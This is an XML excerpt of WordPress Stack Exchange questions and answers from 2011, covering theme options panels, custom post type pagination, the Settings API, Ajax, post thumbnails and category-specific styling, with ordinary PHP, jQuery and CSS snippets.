  <row Id="18852" PostTypeId="1" AcceptedAnswerId="18955" CreationDate="2011-05-31T19:29:34.230" Score="3" ViewCount="101" Body="&lt;p&gt;I really like &lt;a href=&quot;https://github.com/devinsays/options-framework-plugin&quot; rel=&quot;nofollow&quot;&gt;https://github.com/devinsays/options-framework-plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know any other good implementations of an options panel from a Framework or from another premium Theme? I think its a major factor in deciding whether to use a theme. I'd like to get a good list of whats being done out there. Wordpress StackExchange Community, what are your thoughts in general this?&lt;/p&gt;&#xA;" OwnerUserId="3081" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-06-01T15:11:08.590" LastActivityDate="2011-06-01T17:02:17.990" Title="Theme Options Panels, What are some good examples from Frameworks or Premium Themes?" Tags="&lt;theme-options&gt;&lt;framework&gt;&lt;user-interface&gt;" AnswerCount="4" FavoriteCount="1" />
  <row Id="18853" PostTypeId="1" AcceptedAnswerId="18931" CreationDate="2011-05-31T19:47:25.343" Score="1" ViewCount="301" Body="&lt;p&gt;im using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/paginate_links&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;paginate_links function&lt;/strong&gt;&lt;/a&gt; to create pagination on my custom post type archives, no matter what i do im hitting 404 errors when going to view page 2 (ie clicking to go on one page in the pagination trail).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked and researched and dont seem to be getting anywhere with it all. heres my before the loop query inside archive-MY_CUSTOM_POST_TYPE.php:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;global $wp_query;&#xA;&#xA;$args = array_merge( $wp_query-&amp;gt;query, array( 'post_type' =&amp;gt; 'sales', 'posts_per_page'  =&amp;gt; 1, ) );&#xA;&#xA;query_posts( $args );&#xA;&#xA;&#xA;if (have_posts()) :&#xA;while (have_posts()) : the_post();  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and lower down after the loops endif and above wp_reset_query i have  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;!-- / clear --&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;pagination&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php &#xA;global $wp_query, $wp_rewrite;&#xA;$wp_query-&amp;gt;query_vars['paged'] &amp;gt; 1 ? $current = $wp_query-&amp;gt;query_vars['paged'] :    $current = 1;&#xA;&#xA;$pagination = array(&#xA;'base' =&amp;gt; @add_query_arg('page','%#%'),&#xA;'format' =&amp;gt; '',&#xA;'total' =&amp;gt; $wp_query-&amp;gt;max_num_pages,&#xA;'current' =&amp;gt; $current,&#xA;'show_all' =&amp;gt; true,&#xA;'type' =&amp;gt; 'plain'&#xA;);&#xA;&#xA;if( $wp_rewrite-&amp;gt;using_permalinks() )&#xA;$pagination['base'] = user_trailingslashit( trailingslashit( remove_query_arg( 's', get_pagenum_link( 1 ) ) ) . 'page/%#%/', 'paged' );&#xA;&#xA;if( !empty($wp_query-&amp;gt;query_vars['s']) )&#xA;$pagination['add_args'] = array( 's' =&amp;gt; get_query_var( 's' ) );&#xA;&#xA;echo paginate_links( $pagination );&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- / paginate --&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On my loop-index.php this works with no problem, but on a loop inside Custom Post Type its a no go, i have no clashes with duplicated slugs as i have read that this can be an issue, so im taking it that it is something to do with how im querying the posts before the loop, any pointers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;regards&lt;br&gt;&#xA;Martin&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-06-01T15:09:05.113" LastActivityDate="2011-06-01T15:09:05.113" Title="Custom post type archive 404's with paginate_links" Tags="&lt;custom-post-types&gt;&lt;query-posts&gt;&lt;wp-query&gt;&lt;pagination&gt;&lt;404-error&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="18854" PostTypeId="1" CreationDate="2011-05-31T20:00:28.497" Score="1" ViewCount="102" Body="&lt;p&gt;I have a theme that I'm developing from an HTML template I have. I'm also designing an options page along with a plethora of plugins built-into the theme itself. I've chosen a tabbed interface and I'm trying to learn how to use WordPress' Settings API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using a class structure for the theme's functions. The following is the declaration of registering settings and whatnot.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function __admin_init()&#xA;{&#xA;    register_setting( 'cncfps_twitter', 'cncfps_twitter_options', array( &amp;amp;$this, 'wp_cncfps_twitter' ) );&#xA;    add_settings_section( 'cncfps_twitter', 'Twitter', array( &amp;amp;$this, 'wp_cncfps_twitter' ), 'cncfps' );&#xA;    add_settings_field( 'cncfps_twitter_consumer_key', 'Consumer Key', array( &amp;amp;$this, 'twitter_consumer_key' ), 'cncfps', 'cncfps_twitter' );&#xA;    add_settings_field( 'cncfps_twitter_consumer_secret', 'Consumer Secret', array( &amp;amp;$this, 'twitter_consumer_secret' ), 'cncfps', 'cncfps_twitter' );&#xA;    add_settings_field( 'cncfps_twitter_apikey', 'API Key', array( &amp;amp;$this, 'twitter_apikey' ), 'cncfps', 'cncfps_twitter' );&#xA;}&#xA;&#xA;public function wp_cncfps_twitter()&#xA;{&#xA;    // TODO: wut. ?!?!&#xA;    echo &quot;what is this?&quot;;&#xA;}&#xA;&#xA;public function twitter_consumer_key()&#xA;{&#xA;    echo &quot;Hello&quot;;&#xA;}&#xA;&#xA;public function twitter_consumer_secret()&#xA;{&#xA;    echo &quot;World&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;When I want to display the fields as shown &lt;a href=&quot;http://wordpress.stackexchange.com/questions/18555/need-help-understanding-coding-with-settings-api&quot;&gt;here&lt;/a&gt;, I don't see a thing. The following is how I attempt to display them. I did follow a &lt;a href=&quot;http://www.chipbennett.net/2011/02/17/incorporating-the-settings-api-in-wordpress-themes/4/&quot; rel=&quot;nofollow&quot;&gt;few&lt;/a&gt; &lt;a href=&quot;http://ottodestruct.com/blog/2009/wordpress-settings-api-tutorial/&quot; rel=&quot;nofollow&quot;&gt;tutorials&lt;/a&gt; but it's just not clicking in my brain for some reason.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;settings_fields('cncfps_twitter');&#xA;do_settings_sections('cncfps_twitter');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://i.stack.imgur.com/2zZFW.png&quot; rel=&quot;nofollow&quot;&gt;&lt;img src=&quot;http://i.stack.imgur.com/2zZFW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2322" LastEditorUserId="2322" LastEditorDisplayName="" LastEditDate="2011-05-31T20:05:36.163" LastActivityDate="2011-06-16T04:58:06.183" Title="Theme Options page with tabs" Tags="&lt;theme-options&gt;&lt;settings&gt;&lt;api&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="18855" PostTypeId="1" CreationDate="2011-05-31T20:03:30.683" Score="1" ViewCount="98" Body="&lt;p&gt;&lt;br&gt;&#xA;i would like to call a php page from an Ajax method : the alert works fine, the code as well has been tested outside of wordpress, but here it seems that the php page is never called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found some articles, among them : &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3610/how-to-manage-ajax-calls-and-json-in-wordpress/3612#3612&quot;&gt;How to manage ajax calls and JSON in wordpress&lt;/a&gt;&#xA;but i get more confused. Can you please tell me what should i do here? (with &quot;diapo.php&quot; it doesn't work, and like that neither)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the call with jquery :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        $('.sous-cat').find('img').click(function(){&#xA;                var alt_p = $(this).attr('alt');&#xA;                //alert(alt_p);&#xA;&#xA;                $.ajax({&#xA;                    type: &quot;POST&quot;,&#xA;                    url: &quot;&amp;lt;?php bloginfo( 'template_directory' ) ?&amp;gt;/diapo.php&quot;,&#xA;                    data: {p:alt_p},&#xA;                    success: function(data) {&#xA;                        alert(data);&#xA;                    }&#xA;                });&#xA;                return false;&#xA;        });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the php page for now :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;?php&#xA;        /*&#xA;        $p = $_POST['p'];&#xA;        query_posts( 'cat=3&amp;amp;p=$p' );&#xA;        while (have_posts()) : the_post();&#xA;            $result = the_post_thumbnail('normal');&#xA;        endwhile;&#xA;        wp_reset_query();*/&#xA;&#xA;        echo '$result';&#xA;&#xA;        ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help&lt;/p&gt;&#xA;" OwnerUserId="5644" LastActivityDate="2011-08-02T14:36:55.630" Title="problem with ajax and the path to the php page" Tags="&lt;php&gt;&lt;jquery&gt;&lt;ajax&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="18856" PostTypeId="1" CreationDate="2011-05-31T20:13:48.037" Score="1" ViewCount="319" Body="&lt;p&gt;OK, I got a custom post type with thumbnail enabled which adds the &quot;featured images&quot; panel to that post-type just fine, but in my template when I do &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( has_post_thumbnail() ) {&#xA;    the_post_thumbnail();&#xA;} else {&#xA;    echo 'none';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it just shows 'none' on each one even though I have a featured image set... I have &lt;code&gt;add_theme_support('post-thumbnails',array('post','custom_post_type'));&lt;/code&gt; so it's supported by the theme but &lt;code&gt;has_post_thumbnail&lt;/code&gt; always returns false what's going on here???&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My template is :&#xA;archive-custom_post_type.php :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$loop = new WP_Query(array( 'post_type' =&amp;gt; 'clients', 'posts_per_page' =&amp;gt; -1 ));&#xA;if($loop){&#xA;?&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;&amp;lt;?php&#xA;while ( $loop-&amp;gt;have_posts() ) : $loop-&amp;gt;the_post();&#xA;?&amp;gt;&#xA;        &amp;lt;li&amp;gt;&#xA;            &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php the_title_attribute(); ?&amp;gt;&quot; &amp;gt;&#xA;            &amp;lt;?php &#xA;                if ( has_post_thumbnail($post-&amp;gt;ID) ) {&#xA;                    the_post_thumbnail('thumbnail');&#xA;                    echo get_post($post-&amp;gt;ID)-&amp;gt;post_excerpt;&#xA;                } else {&#xA;                    echo 'broken ::' . $post-&amp;gt;ID;&#xA;                    echo get_post($post-&amp;gt;ID)-&amp;gt;post_excerpt;&#xA;                }&#xA;&#xA;            ?&amp;gt;&#xA;            &amp;lt;/a&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;&amp;lt;?php &#xA;endwhile;&#xA;//wp_reset_postdata();&#xA;?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4114" LastEditorUserId="4114" LastEditorDisplayName="" LastEditDate="2011-06-01T16:39:03.790" LastActivityDate="2011-08-30T21:37:07.543" Title="Featured Image VS Post_thumbnail -- has_post_thumbnail lies?" Tags="&lt;post-thumbnails&gt;" AnswerCount="2" />
  <row Id="18857" PostTypeId="2" ParentId="18854" CreationDate="2011-05-31T20:17:29.893" Score="2" ViewCount="" Body="&lt;p&gt;The &lt;code&gt;do_settings_section()&lt;/code&gt; function call needs to correspond to the &lt;code&gt;$optiongroup&lt;/code&gt; argument you pass to &lt;code&gt;register_setting()&lt;/code&gt;. To see how all of the myriad functions fit together, see &lt;a href=&quot;http://www.chipbennett.net/2011/02/17/incorporating-the-settings-api-in-wordpress-themes/4/&quot; rel=&quot;nofollow&quot;&gt;page 10 of my tutorial&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does get fairly confusing trying to follow how the various functions string together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You do appear to be using the option group properly. Can you clarify what is/is not &quot;clicking&quot; for you? You mention in the title that you want to use a tabbed interface, but the question text itself doesn't really indicate where exactly you're running into difficulty.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-31T20:17:29.893" CommentCount="6" />
  <row Id="18858" PostTypeId="2" ParentId="18856" CreationDate="2011-05-31T20:20:47.580" Score="0" ViewCount="" Body="&lt;p&gt;In your Custom Post Type, do you &lt;code&gt;setup_postdata( $post )&lt;/code&gt; in your custom Loop? If not, &lt;code&gt;has_post_thumbnail()&lt;/code&gt; might not be defined/available?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try adding:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;setup_postdata( $post );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Right before:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$loop-&amp;gt;the_post();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then see if &lt;code&gt;has_post_thumbnail()&lt;/code&gt; returns &lt;code&gt;true&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, try passing the &lt;code&gt;$post-&amp;gt;ID&lt;/code&gt; to your call to &lt;code&gt;has_post_thumbnail()&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;has_post_thumbnail( $post-&amp;gt;ID );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-05-31T21:10:18.893" LastActivityDate="2011-05-31T21:10:18.893" CommentCount="7" />
  <row Id="18859" PostTypeId="1" CreationDate="2011-05-31T20:27:34.950" Score="0" ViewCount="39" Body="&lt;p&gt;I am running Wordpress 3.1.3 Multisite and would like to find out all of the currently-activated themes.  I know there is a feature in the admin to see plugins per-blog, but I have not been able to see a similar feature for themes.&lt;/p&gt;&#xA;" OwnerUserId="5839" LastActivityDate="2011-05-31T20:45:41.943" Title="Query for all themes?" Tags="&lt;themes&gt;&lt;multisite&gt;" AnswerCount="1" />
  <row Id="18860" PostTypeId="1" CreationDate="2011-05-31T20:30:48.493" Score="2" ViewCount="99" Body="&lt;p&gt;I'm customizing a WordPress installation and was wondering what the best way to do this is. I want to customize each post completely depending on the category. Each post will be under only one category.&lt;/p&gt;&#xA;" OwnerUserId="5841" LastActivityDate="2011-06-03T02:56:26.257" Title="How to change the layout and styling of posts according to their category in WordPress?" Tags="&lt;posts&gt;&lt;categories&gt;&lt;customization&gt;" AnswerCount="4" FavoriteCount="1" />
  <row Id="18861" PostTypeId="2" ParentId="18859" CreationDate="2011-05-31T20:45:41.943" Score="1" ViewCount="" Body="&lt;p&gt;I just found it...under the &quot;wp__options&quot; table, it is &quot;template&quot;.&lt;/p&gt;&#xA;" OwnerUserId="5839" LastActivityDate="2011-05-31T20:45:41.943" />
  <row Id="18862" PostTypeId="2" ParentId="18860" CreationDate="2011-05-31T20:49:30.183" Score="0" ViewCount="" Body="&lt;p&gt;css is your best route but you will have to design it every time and upload it to your css file. Or are you talking about the archive view?&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-05-31T20:49:30.183" />
  <row Id="18863" PostTypeId="2" ParentId="18852" CreationDate="2011-05-31T20:55:41.743" Score="0" ViewCount="" Body="&lt;p&gt;I personally do not like theme option panels. The reason why is to much bulk. I don't mind if there are a few options like easy logo changing, fixed or fluid width, and some other low options. I tend to just stick with hard coding any thing into a theme without options unless a client wants that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And as far a frameworks are you talking about what yootheme's warp, rocket themes gravity, etc. Is that what you mean by frameworks. If so i don't care for these as much as some plugins do not work well with them&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-05-31T20:55:41.743" CommentCount="2" />
  <row Id="18864" PostTypeId="1" AcceptedAnswerId="18871" CreationDate="2011-05-31T20:55:41.387" Score="1" ViewCount="86" Body="&lt;p&gt;I have this CSS setup for my blog posts meta information. But there are certain categories where I would like to use another image in the same spot and not display the meta information. I'm not quite sure how to do it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.entry-meta {&#xA;background: url(&quot;images/dish_blogtitle.png&quot;) no-repeat scroll center center transparent;&#xA;color: #666666;&#xA;float: left;&#xA;font-size: 13px;&#xA;font-style: italic;&#xA;height: 100px;&#xA;line-height: 18px;&#xA;margin-left: -125px;&#xA;margin-top: 5px;&#xA;position: relative;&#xA;text-align: center;&#xA;top: -80px;&#xA;width: 100px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4273" LastActivityDate="2011-05-31T21:15:13.123" Title="conditional function to change post-meta background image" Tags="&lt;post-meta&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="18865" PostTypeId="1" CreationDate="2011-05-31T17:28:53.420" Score="0" ViewCount="68" Body="&lt;p&gt;I'm trying to write a php script that I can run out of cron to create new Wordpress pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, I can't find any documentation on how to do this.  I'm using the WP scripts rather than directly manipulating the SQL...but still no joy.  The below runs with no errors...but also produces no pages.  I am sad.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know how to do this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/local/php5/bin/php&#xA;&amp;lt;?php&#xA;        include ('/some/path/wordpress/wp-admin/admin.php');&#xA;        include ('/some/path/wordpress/wp-includes/post.php');&#xA;&#xA;        $to_insert = array();&#xA;&#xA;        $to_insert['post_author'] = 0;&#xA;        $to_insert['post_content'] = '&amp;lt;h1&amp;gt;Here is my info&amp;lt;/h1&amp;gt;\n&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;one&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;two&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;\n';&#xA;        $to_insert['post_type'] = 'page';&#xA;        $to_insert['post_status'] = 'publish';&#xA;        $to_insert['post_title'] = 'We Must Test';&#xA;&#xA;        $result = wp_insert_post($to_insert,true);&#xA;&#xA;        if ( is_wp_error($result) ) {&#xA;                echo $result-&amp;gt;get_error_message();&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2011-06-28T17:00:22.153" Title="Insert Wordpress page via external (cron) script?" Tags="&lt;untagged&gt;" AnswerCount="5" CommentCount="0" />
  <row Id="18866" PostTypeId="2" ParentId="18865" CreationDate="2011-05-31T18:50:22.800" Score="0" ViewCount="" Body="&lt;p&gt;Maybe I am off, but what are you needing this cron script for? I know you can set a publish date for pages/posts so you can schedule it to post on a certain day/time.&lt;/p&gt;&#xA;" OwnerUserId="807" LastActivityDate="2011-05-31T18:50:22.800" />
  <row Id="18867" PostTypeId="2" ParentId="18865" CreationDate="2011-05-31T19:40:55.513" Score="0" ViewCount="" Body="&lt;p&gt;I use a modified version of the txt-as-post plugin.  With it you can read in a zip of posts.  I then call it via cron (I prefer that way than using WPs built in cron).&lt;/p&gt;&#xA;" LastActivityDate="2011-05-31T19:40:55.513" />
  <row Id="18868" PostTypeId="2" ParentId="18860" CreationDate="2011-05-31T20:58:27.423" Score="1" ViewCount="" Body="&lt;p&gt;for the css route, you can use the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/post_class&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;post_class()&lt;/code&gt;&lt;/a&gt; function to give you category dependant css classes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you go beyond formatting, i.e. output different elements depending on the category, you could use the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/in_category&quot; rel=&quot;nofollow&quot;&gt;conditional tag &lt;code&gt;in_category()&lt;/code&gt;&lt;/a&gt; in an 'if-elseif-else' structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the category archives can be done with &lt;a href=&quot;http://codex.wordpress.org/Category_Templates&quot; rel=&quot;nofollow&quot;&gt;category templates&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-05-31T20:58:27.423" />
  <row Id="18869" PostTypeId="2" ParentId="18864" CreationDate="2011-05-31T21:01:44.023" Score="0" ViewCount="" Body="&lt;p&gt;You are doing it write but you should think about looking into WordPress template hierarchy structure. Check out this page from the wordpress codex &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Template_Hierarchy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your template folder create a file with category-slug.php or category-id.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;replace the slug word with the slug you assigned the category or put the id that is assigned to the category&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-05-31T21:01:44.023" CommentCount="1" />
  <row Id="18870" PostTypeId="2" ParentId="18844" CreationDate="2011-05-31T21:12:42.353" Score="0" ViewCount="" Body="&lt;p&gt;It is either the SEO plugin or your template files&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;wp_title(''); ?&amp;gt;&amp;lt;?php if(wp_title('', false)) { echo ' |'; } ?&amp;gt; &amp;lt;?php bloginfo('name'); &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4998" LastEditorUserId="4998" LastEditorDisplayName="" LastEditDate="2011-06-01T17:38:32.563" LastActivityDate="2011-06-01T17:38:32.563" CommentCount="4" />
  <row Id="18871" PostTypeId="2" ParentId="18864" CreationDate="2011-05-31T21:15:13.123" Score="4" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Have you checked the classes on your &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; element?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It depends on the theme but WordPress has a function&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/body_class&quot; rel=&quot;nofollow&quot;&gt;body_class()&lt;/a&gt;&#xA;that dynamically adds a bunch of useful classes in there. It may look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body class=&quot;archive category category-news category-2 two-column content-sidebar&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see it is a powerful helper as you can easily accomplish complex style changes by prepending your definitions with these classes. In your case it could be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.category-something .entry-meta {&#xA;   /* whatever style changes you need */&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If there is no such awesomeness in your &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; element then you can add it there yourself very easily: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body &amp;lt;?php body_class(); ?&amp;gt;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://wordpress.stackexchange.com/questions/18864/conditional-function-to-change-post-meta-background-image/18869#18869&quot;&gt;answer&lt;/a&gt; provided by @xLRDxREVENGEx is certainly valid and points in the right direction. It's certainly worth (re)thinking what approach is the right one for your use case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="2110" LastActivityDate="2011-05-31T21:15:13.123" CommentCount="2" />
  <row Id="18872" PostTypeId="2" ParentId="18820" CreationDate="2011-05-31T21:17:31.427" Score="1" ViewCount="" Body="&lt;p&gt;If you are developing your site locally, like with easyphp or others, then it's normal, it'll work fine when you upload everything. If the problem happens online then it's something else. Do you have the plugin's link?&lt;/p&gt;&#xA;" OwnerUserId="1997" LastActivityDate="2011-05-31T21:17:31.427" />
  <row Id="18873" PostTypeId="2" ParentId="18865" CreationDate="2011-05-31T21:25:39.610" Score="1" ViewCount="" Body="&lt;p&gt;The files you are trying to include are just small chunks of WordPress core and won't work without being properly loaded by it. You need to load it properly, see &lt;a href=&quot;http://codex.wordpress.org/Integrating_WordPress_with_Your_Website&quot; rel=&quot;nofollow&quot;&gt;integrating WordPress&lt;/a&gt; in Codex.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-31T21:25:39.610" />
  <row Id="18874" PostTypeId="2" ParentId="18838" CreationDate="2011-05-31T21:33:13.927" Score="0" ViewCount="" Body="&lt;p&gt;The filter you are using &lt;code&gt;posts_where&lt;/code&gt; affects the creation of SQL query, so by definition it is executed before query runs and you have any search results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you cannot loop through results at this point, what you can do is retrieve or hardcode list of unwanted items from elsewhere and use them to modify query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, this is faster to code than trying to solve with comments. This is probably not perfect but should be good starting point for what you want:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('pre_get_posts','exclude_pages');&#xA;&#xA;function exclude_pages( $query ) {&#xA;&#xA;    if( !empty( $query-&amp;gt;query_vars['s'] ) ) {&#xA;&#xA;        $pages = get_posts(array(&#xA;                            'post_type' =&amp;gt; 'page',&#xA;                            'meta_query' =&amp;gt; array( array(&#xA;                                'key' =&amp;gt; '_wp_page_template',&#xA;                                'value' =&amp;gt; 'landing.php',&#xA;                            )),&#xA;                           ));&#xA;&#xA;        $exclude = array();&#xA;&#xA;        foreach( $pages as $page )&#xA;            $exclude[] = $page-&amp;gt;ID;&#xA;&#xA;        $query-&amp;gt;set('post__not_in', $exclude);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-05-31T22:24:09.333" LastActivityDate="2011-05-31T22:24:09.333" CommentCount="8" />
  <row Id="18875" PostTypeId="2" ParentId="16079" CreationDate="2011-05-31T21:37:26.983" Score="0" ViewCount="" Body="&lt;p&gt;I have a hunch that meta query of this complexity is going to be crazy. I am not sure what you are trying to do without context described, but most likely there are easier way to organize that.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-31T21:37:26.983" />
  <row Id="18876" PostTypeId="2" ParentId="18855" CreationDate="2011-05-31T21:46:27.790" Score="1" ViewCount="" Body="&lt;p&gt;Calling PHP file directly is more generic way to implement Ajax and should not be used in WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/AJAX_in_Plugins&quot; rel=&quot;nofollow&quot;&gt;Ajax in Plugins in Codex&lt;/a&gt; and try to slowly work through examples there. Yes, it's not the easiest stuff if you aren't very experienced in WP, but that is how Ajax should be done in it.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-31T21:46:27.790" CommentCount="2" />
  <row Id="18877" PostTypeId="2" ParentId="16892" CreationDate="2011-05-31T21:58:03.883" Score="0" ViewCount="" Body="&lt;p&gt;It might not be very light solution but it might be much more straightforward approach to load WP core and use &lt;code&gt;current_user_can()&lt;/code&gt; and related stuff for determining user permissions.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-31T21:58:03.883" />
  <row Id="18878" PostTypeId="1" CreationDate="2011-05-31T22:04:56.550" Score="1" ViewCount="169" Body="&lt;p&gt;How can I instruct NextGen Gallery to use different thumbnail sizes for different galleries. I have different gallery templates for use in different parts of the site, and the sizes of the thumbnails are not the same. At the moment I have to stay generating the thumbnails through the gallery management page, it would be much better if I could set the thumbnail size for each gallery once and for all. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5844" LastActivityDate="2011-05-31T22:04:56.550" Title="NextGen Gallery different thumbnail size per gallery" Tags="&lt;plugin-nextgen-gallery&gt;" CommentCount="1" />
  <row Id="18879" PostTypeId="2" ParentId="16654" CreationDate="2011-05-31T22:12:16.747" Score="1" ViewCount="" Body="&lt;p&gt;There isn't much native functionality in WP to apply admin powers on front end. &lt;a href=&quot;http://wordpress.org/extend/plugins/front-end-editor/&quot; rel=&quot;nofollow&quot;&gt;Front-end Editor&lt;/a&gt; plugin is usually great for such, but changing post status is one feature it seems to lack (maybe it's worth suggesting to scribu).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you are basically stuck with writing this from scratch - implementing JS on front end to make Ajax request and backend handler for it. Unless you need this functionality constantly and daily I would not bother with spending time on it.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-31T22:12:16.747" />
